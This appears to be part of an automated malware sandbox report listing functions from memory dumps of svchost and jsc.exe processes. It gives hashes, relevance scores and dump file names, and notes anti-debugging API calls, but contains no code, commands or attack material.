Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf8fb698c39d4a78735560afbacbab076eeb7530c73f0a2e2c68f562fc37d03f
Instruction ID: 241820b09f32516374c04d00479680b0e000f0fd5643ba2b9538eed649e77319
Opcode Fuzzy Hash: bf8fb698c39d4a78735560afbacbab076eeb7530c73f0a2e2c68f562fc37d03f
Instruction Fuzzy Hash: F551E770A0AA8D8FDB55EF68C465AED7FF0FF5A310B0901AFD049D71B2CA25A941C781

Function 00007FFD9B8C1468 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ea0e3c17fa9db783f54fee4199665e954b6a16873685f1d5817a6a9bff1dbcb
Instruction ID: 986cf4e1f2bbab3f4b81d89143d5045d0e773ae8ba10df27d7ee09a408003cb6
Opcode Fuzzy Hash: 0ea0e3c17fa9db783f54fee4199665e954b6a16873685f1d5817a6a9bff1dbcb
Instruction Fuzzy Hash: 8F51C771E19A8D4FEB54FBA888A5BECBBE1FF59300F4401BAD049D7196DE3458828B41

Function 00007FFD9B8C23C4 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10db249f9e9afdc1d9333cb302c64a6ce0230eb3791726056777138bcd493bdf
Instruction ID: ad7cd0671d0ea9fba91d03126029ca22f82b7120d400c38b4d40eabe4f2f6edc
Opcode Fuzzy Hash: 10db249f9e9afdc1d9333cb302c64a6ce0230eb3791726056777138bcd493bdf
Instruction Fuzzy Hash: CE5127B161E74D8FD7A5EFA884616B577D0EF59310F0501BED48AC71E2DE28ED068780

Function 00007FFD9B8C642B Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d00f9c06d74c5ff1e8e9933ca8cb4409f1144acfff634c78740a071cf1d1550
Instruction ID: 1f7446d4f264455ab43f13b2e6168f90d8f65b4c59a19e5828b62cd6e034a4cb
Opcode Fuzzy Hash: 2d00f9c06d74c5ff1e8e9933ca8cb4409f1144acfff634c78740a071cf1d1550
Instruction Fuzzy Hash: 524166B260E7890FD71E9B2488210B67B90EB53320B1682BFD487C75A7EC186D438392

Function 00007FFD9B8C10E9 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 649cc15107170fd4b689a58edde15af68fe52d69cf85e2c4f0cdb99a989dc11a
Instruction ID: 718ab1c8c997667a45bf4ee2e8856ad3e30c4b48726ae9519ade18680be5cdbb
Opcode Fuzzy Hash: 649cc15107170fd4b689a58edde15af68fe52d69cf85e2c4f0cdb99a989dc11a
Instruction Fuzzy Hash: 5B412952B0EA890FF399A6AC08B57B47BD2EF9A250F0502FBD049C72D7DC1C2C064381

Function 00007FFD9B8BE5FB Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c19be804db6f871e0fae2bd32a2476f84e249578f04c63a3a5f5bd219f9a599c
Instruction ID: ec6912bc75cb9b6f9f6f210f6e8c84f2dfa5b36a8480e392c6ae75f9cac65009
Opcode Fuzzy Hash: c19be804db6f871e0fae2bd32a2476f84e249578f04c63a3a5f5bd219f9a599c
Instruction Fuzzy Hash: 4641F23060D76C4FD3ACDB6CC06147A77E1EF8AA51B51077EE4DB83692DA25E9028B81

Function 00007FFD9B8BEDAF Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c43253abd193abcef34635ff68036a6d858f13dcbfd68622f1da15edfdf767f
Instruction ID: 95423f56049071f11537255ca47879a6c76331fe6557a72b454dda541c3b5df5
Opcode Fuzzy Hash: 8c43253abd193abcef34635ff68036a6d858f13dcbfd68622f1da15edfdf767f
Instruction Fuzzy Hash: E231C531709A1D4FDBA8DB2C946167873D2EF98701F1501BEE04EC3696DE24AD468BC5

Function 00007FFD9B8C664E Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86d9a7ae5f3f6a148ea76b3926d8ab488f45254a01b9b1b9f6e8ded86196551c
Instruction ID: 50faf80b5558ca5fe076c727929ee31c7fa52af305e13720af39fcc6913fa4d2
Opcode Fuzzy Hash: 86d9a7ae5f3f6a148ea76b3926d8ab488f45254a01b9b1b9f6e8ded86196551c
Instruction Fuzzy Hash: DE41BCA1A1E3C64FE31B977488714643FB0AF5721471A44FFC0C6CB1F7D918A90A8762

Function 00007FFD9B8C6275 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44efebef162fa06e581b91cea294f7166051251f10ebb37803f25d7139036b2d
Instruction ID: 9cdc8c5d66af93f725737f85132fc79160b6d5732859978b3b7be28239dba4ff
Opcode Fuzzy Hash: 44efebef162fa06e581b91cea294f7166051251f10ebb37803f25d7139036b2d
Instruction Fuzzy Hash: C231E16160E7C60FD317A77898705A0BFA2AF97310B1A41FBC095CB5E7D828694AC352

Function 00007FFD9B8BFCD8 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eb504b910f1e1725300241261c12921e8f66172220237441bfe506c3e8a620c
Instruction ID: aa8bad021ea552b915ab69be376c254b22d754c42d0824ded41bbc0c04d3aad2
Opcode Fuzzy Hash: 5eb504b910f1e1725300241261c12921e8f66172220237441bfe506c3e8a620c
Instruction Fuzzy Hash: 89212921B0EA5D1FE798EBBD6CA977463C1EFAC211B0942BBA04DC72E6DC145C424781

Function 00007FFD9B8C6C26 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42f1018ccafcb3dcb4f70a1bf9790f8f6541285a01352fd66a3e2e2dbfc07508
Instruction ID: 22cc141f57deae69ced0afaffeaf44e5a9944b9967b3237eed04b678641ac2f8
Opcode Fuzzy Hash: 42f1018ccafcb3dcb4f70a1bf9790f8f6541285a01352fd66a3e2e2dbfc07508
Instruction Fuzzy Hash: AF319EA290E3C14FE3179B7488614A53FB1AF57214B1E84EBC0C6CF4B7D518A90AD722

Function 00007FFD9B8C52CE Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25240eeb1028c7e0e2980295836c5738f11acca30b9f4db44f2cac306aa86171
Instruction ID: 46f41b802369d9b5df5d498b4d758726d5abff3455edb1ed50f1faf31c0db968
Opcode Fuzzy Hash: 25240eeb1028c7e0e2980295836c5738f11acca30b9f4db44f2cac306aa86171
Instruction Fuzzy Hash: 6411E42270D9090FE72CA66CA8571B873C2EB89371B1542BFE44EC32E6EC28994302C5

Function 00007FFD9B8BDED8 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2516df1c9b3911e47a6f54b2a02ef204f21cb9fa132d34dac5441d9007baa26d
Instruction ID: 305911d2b9fc285731e44c1283d69b5c9b504594352fa9d3e200dddb8bffea12
Opcode Fuzzy Hash: 2516df1c9b3911e47a6f54b2a02ef204f21cb9fa132d34dac5441d9007baa26d
Instruction Fuzzy Hash: FA210A3061DB5D4FE354DB3884A407177D1FB98209715457ED89AC73B6DE35E942CB80

Function 00007FFD9B8C6B4B Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 607f9f05f71e4fc244c4bb0445fee4aa30e3f42d84803d407a70554537ccab21
Instruction ID: 6a57b4f4e1ca17124e911008cb42938660af6941f0abdc6a5fea4048abebd856
Opcode Fuzzy Hash: 607f9f05f71e4fc244c4bb0445fee4aa30e3f42d84803d407a70554537ccab21
Instruction Fuzzy Hash: 023126A195E3C64FE7139B7488765A47FB0AF23214B1E84EBC0C5CF0B7D519A90AD722

Function 00007FFD9B8C4C99 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2a9bd368d071c87051b35a097a5c8ca3e7aaaab36432ec36a0f332ebf266c57
Instruction ID: 20f0a322340cbe12464e5f329716d6c920cb016fef73c3237acf096d2bc8cd3a
Opcode Fuzzy Hash: c2a9bd368d071c87051b35a097a5c8ca3e7aaaab36432ec36a0f332ebf266c57
Instruction Fuzzy Hash: 9F210471A0DA4D4FE351EB68C4282B577D0EF58310F0905BFD48CD71B3DE29AA828780

Function 00007FFD9B8C6568 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddc29bb6045bea4bc3cada8ca66cc0bd1651edca80d438f026c0ac9bc81aec43
Instruction ID: b78f27a9fc70d9031d6f03ca0b4bdcf88265601fe63832a7a28362e4f75d3406
Opcode Fuzzy Hash: ddc29bb6045bea4bc3cada8ca66cc0bd1651edca80d438f026c0ac9bc81aec43
Instruction Fuzzy Hash: 9101227260D60D1BD72C9D68882A477B78AD786610B12A33EF4A7C36A6DD64A80346C1

Function 00007FFD9B8BFDDC Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee9209d813219a52742a482f5f6cd95e2776b74f5ef86152282051a8d098579e
Instruction ID: 1a193bf9cb2db3fe31ccbca6458606da37d89aaaef160ea2b932dd4f3ba1385f
Opcode Fuzzy Hash: ee9209d813219a52742a482f5f6cd95e2776b74f5ef86152282051a8d098579e
Instruction Fuzzy Hash: 81F0F452F1EEBF1EF7B6427D28A51380BC1EB9860071D42BBD498CA2E7EC055D4346C0

Function 00007FFD9B8BE771 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a23f4b295f3d73133488af6354d09b76ceab211b570acd0a14e2dcbdf892d19a
Instruction ID: 269c4c798d485fda41ecf4ea308db2f57d6dfab85711e466f1e2509dabafb71d
Opcode Fuzzy Hash: a23f4b295f3d73133488af6354d09b76ceab211b570acd0a14e2dcbdf892d19a
Instruction Fuzzy Hash: 1EF04C3160DE884FC366D73C98504627BF0EFA521030A06E7D48AC76A6DD24EC46C780

Function 00007FFD9B8C5C7A Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a19b35282efd6f9ec2789d56449c4af1b24b257ef06fc97fd9f749b1ef2ed9f
Instruction ID: 0590724f4449d08fb998bb51fa14360422b78146b3a5069cc9c9749e27d615ef
Opcode Fuzzy Hash: 6a19b35282efd6f9ec2789d56449c4af1b24b257ef06fc97fd9f749b1ef2ed9f
Instruction Fuzzy Hash: A6F04C3270961E0BDB1CEA9CD8A14F87383DB95350B04467BD107C66D5DE76BA428780

Function 00007FFD9B8BC338 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8bed930e0bf0bcd48225e2f89aad2cb74b31d254a2aa12c179aefd05d8e4f7a
Instruction ID: 42fb5fa9d012849c40f30ef9938a58eef6fbfb39f986e5c90b902aee393fdbca
Opcode Fuzzy Hash: f8bed930e0bf0bcd48225e2f89aad2cb74b31d254a2aa12c179aefd05d8e4f7a
Instruction Fuzzy Hash: 45F0341244F6EA0FD7135BB988B80857FA0AE0B51035E95FBC0C48F2E3D45E288BDB12

Function 00007FFD9B8C59BD Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 539841ee5a329987f118a58751a5ec03986d89ace971c5ad9143992db7cdd6ba
Instruction ID: 1c647238c1dceb901a3f24268dba7c5d5cc8ae9770f46de84169388b2b05b792
Opcode Fuzzy Hash: 539841ee5a329987f118a58751a5ec03986d89ace971c5ad9143992db7cdd6ba
Instruction Fuzzy Hash: 41F0F631B196064BC71CDE2D896247477DBE7CA719720927ED097C62E5CE30F9138589

Function 00007FFD9B8C6319 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca4d158d4df08ff0d2fa51e2d191d2d16bf63d34e215f5e1a2fd23446b29102d
Instruction ID: 346ab3d1778291fcd264af80cf42c231d035223c02565934593ccf6f574933e9
Opcode Fuzzy Hash: ca4d158d4df08ff0d2fa51e2d191d2d16bf63d34e215f5e1a2fd23446b29102d
Instruction Fuzzy Hash: 8DF05931706A0A4BD368EA79C4909A5B3D3EBD8750B14833AD001C73E9DC34FD85C780

Function 00007FFD9B8C539B Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a520dcf6f3be42b51ab8b362e3d7396d8bb909f01dc83639d04aa69f4b6f74e0
Instruction ID: 1647b656b85037995d4c37c664de4b0fdb5c91cf52d1edaef28f8be3c165899c
Opcode Fuzzy Hash: a520dcf6f3be42b51ab8b362e3d7396d8bb909f01dc83639d04aa69f4b6f74e0
Instruction Fuzzy Hash: B4F0273170800A4FC72CAAA898170743186D70570072192BFD846CB2F6EC24D95246C2

Function 00007FFD9B8C55E6 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b74217f451b2082e244b4020ae2bc292f5d16e8914920d58089c07829d7d4e3
Instruction ID: a39f4dbf8b36283bb89ed8bb2ca551c1b4ae3e6f092351c555632fce1aabf38c
Opcode Fuzzy Hash: 9b74217f451b2082e244b4020ae2bc292f5d16e8914920d58089c07829d7d4e3
Instruction Fuzzy Hash: B3E09B93B39E490AFBACE76C54A55F553D2EFE835074045B7D04BC319BEC14B8064640

Function 00007FFD9B8C6F1C Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19e160b4f393dc15d76bbbc3b75762f638eb240959d3ed378125fe95afbd453a
Instruction ID: 4693eeaa7668b5ade8d0a4d00d89270110dd66c072d7d60dd1191cfc167b2027
Opcode Fuzzy Hash: 19e160b4f393dc15d76bbbc3b75762f638eb240959d3ed378125fe95afbd453a
Instruction Fuzzy Hash: CBE048B0719309CBD3256B95C41527D7791FFA5300F32447AE44A5B265C735DA46C781

Function 00007FFD9B8C53E4 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54ee279aa6a9074b26d834cad0f23c60f09679a4f4529c985d22befd05b651f0
Instruction ID: 0d21aaa41a68b6a756799fe67c230d70305681af799577be66c521ff422360ad
Opcode Fuzzy Hash: 54ee279aa6a9074b26d834cad0f23c60f09679a4f4529c985d22befd05b651f0
Instruction Fuzzy Hash: B3D0C763F1956B07EA3D6A64017607C51C79758650B17507BEC4ADA1E2EC446E050186

Function 00007FFD9B8C6DE1 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4537ebcc73ece9142f1f5ff107030371e35d6e76dda3d3fae7dbed42aba997e8
Instruction ID: 5ed03e80221b89d198e14b726d78a2396501d544665e26c26f6560fd5e9c608b
Opcode Fuzzy Hash: 4537ebcc73ece9142f1f5ff107030371e35d6e76dda3d3fae7dbed42aba997e8
Instruction Fuzzy Hash: 96D0A770B0D2094AC230A6BC540302875D19F953247281A7AD05B42299C825D91343C0

Function 00007FFD9B8C6A93 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 135877d9dcfc26f63c39ab67ceaba8f1c768ce313926fa1c0df68613db5ef272
Instruction ID: 51a1832e91996d61866718e9759b64ca673099accb55e079b54ede6ba59f06fb
Opcode Fuzzy Hash: 135877d9dcfc26f63c39ab67ceaba8f1c768ce313926fa1c0df68613db5ef272
Instruction Fuzzy Hash: 34D0A7306797458FD31CDF1480E143673E5EF99300F20983DE087822A0C535E442CA41

Function 00007FFD9B8C6BB1 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e527c1663f3c1cc927675c0f566ce96da8b551bd5ecfa4891235b4b95a44f88
Instruction ID: 6b3506487f1176d212a9cd77135016f952c60cf615cc33dc6f01fbb07daa9593
Opcode Fuzzy Hash: 4e527c1663f3c1cc927675c0f566ce96da8b551bd5ecfa4891235b4b95a44f88
Instruction Fuzzy Hash: B2D0A9B261E6098BD328EA24C0A21FAB282EB68300F20643EE087C3160DC20B8008B81

Function 00007FFD9B8C5A73 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ea1bc90e510883e059e2f3abb112b82bb1cbb8d4d43dd300c2f74324854e30e
Instruction ID: 8998b142abaed0daf9095e2e30ff76e00899798b8253b663ee69dfac85b5c3b5
Opcode Fuzzy Hash: 8ea1bc90e510883e059e2f3abb112b82bb1cbb8d4d43dd300c2f74324854e30e
Instruction Fuzzy Hash: 63C01261B2D30947861CDA1D813303DB6D69FCCA15B10657F948B921E2CD14AE059586

Function 00007FFD9B8C6B04 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9854ea09fd2c3c57b603a23721703664b821dbcdf15a0c8d512b0f2952f86a1
Instruction ID: fc82a5edc8a87f7dfbfc53c7d33424e1183d21fd1ca2a9834c254310598d82c3
Opcode Fuzzy Hash: b9854ea09fd2c3c57b603a23721703664b821dbcdf15a0c8d512b0f2952f86a1
Instruction Fuzzy Hash: 06D0C9B664A7198FE3249B24815446872E2AF99245B115438E04A87371DA74EA01CA41

Function 00007FFD9B8C6991 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.1993715405.00007FFD9B8BC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8BC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_7ffd9b8bc000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc8196ce643bdab81fbbcd4c285ce023b9efa77cbe53fc9dc7e56f218e691e6d
Instruction ID: 0526eed9d25eb94a47c3ce6a2ea8c81fd12b9e4cfaaa7b9e7138d7a4fa158e49
Opcode Fuzzy Hash: fc8196ce643bdab81fbbcd4c285ce023b9efa77cbe53fc9dc7e56f218e691e6d
Instruction Fuzzy Hash: C5C08CB422D74E4FC22CEA38C8A147BB750ABA8200F21343EB083821B1DD00F5408A42

Analysis Process: jsc.exePID: 8676, Parent PID: 8396COMMON

Execution Graph

Execution Coverage:	11.5%
Dynamic/Decrypted Code Coverage:	54.5%
Signature Coverage:	0%
Total number of Nodes:	11
Total number of Limit Nodes:	1

Executed Functions

Function 06F0F7D8 Relevance: 2.0, APIs: 1, Instructions: 535
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000030.00000002.2937670409.0000000006F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_6f00000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04e6b3abe11518dea5549a2c1c62c256f86f64e515810bb6c14fc44743600590
Instruction ID: 76c804c783d637f130110ace8244e72c979b37dddba58c745819cbc6ca1b08c4
Opcode Fuzzy Hash: 04e6b3abe11518dea5549a2c1c62c256f86f64e515810bb6c14fc44743600590
Instruction Fuzzy Hash: 57129E74E012099FEB60DF68D890BAEB7B6FB88310F108525D809E7395DB34EC46DB91

Function 010C7EE0 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 010C7F57

Memory Dump Source

Source File: 00000030.00000002.2875980880.00000000010C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_10c0000_jsc.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 22db2db4ad685bc795baf6a6411d552136781d669db18b827ed3204ee6f15861
Instruction ID: 2d04745ef0ebc853e31b9b2435c993e7fcb9c80e116ff51af2e32661aa1e66d2
Opcode Fuzzy Hash: 22db2db4ad685bc795baf6a6411d552136781d669db18b827ed3204ee6f15861
Instruction Fuzzy Hash: CF2145B1800259CFCB14CF9AD884BEEFBF4AF48320F14846AE459A3250C738A944CFA0

Function 010C7ED8 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 010C7F57

Memory Dump Source

Source File: 00000030.00000002.2875980880.00000000010C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_48_2_10c0000_jsc.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: b7cd86e12ed337625cd7f7c3c3b97e62bf158ce3a86a86a4dbab1c594511c761
Instruction ID: 3b8c53f97e0f925483603bcea87be0bbaa7a75b78fda685879138ec9cd1bc0e9
Opcode Fuzzy Hash: b7cd86e12ed337625cd7f7c3c3b97e62bf158ce3a86a86a4dbab1c594511c761
Instruction Fuzzy Hash: D82136B1C00259CFCB14CF9AD585BEEBBF4AF48310F14846AE459A3251C738A944CF64

Function 010CB648 Relevance: 1.6, APIs: 1, Instructions: 57
fileCOMMON

Download Yara Rule

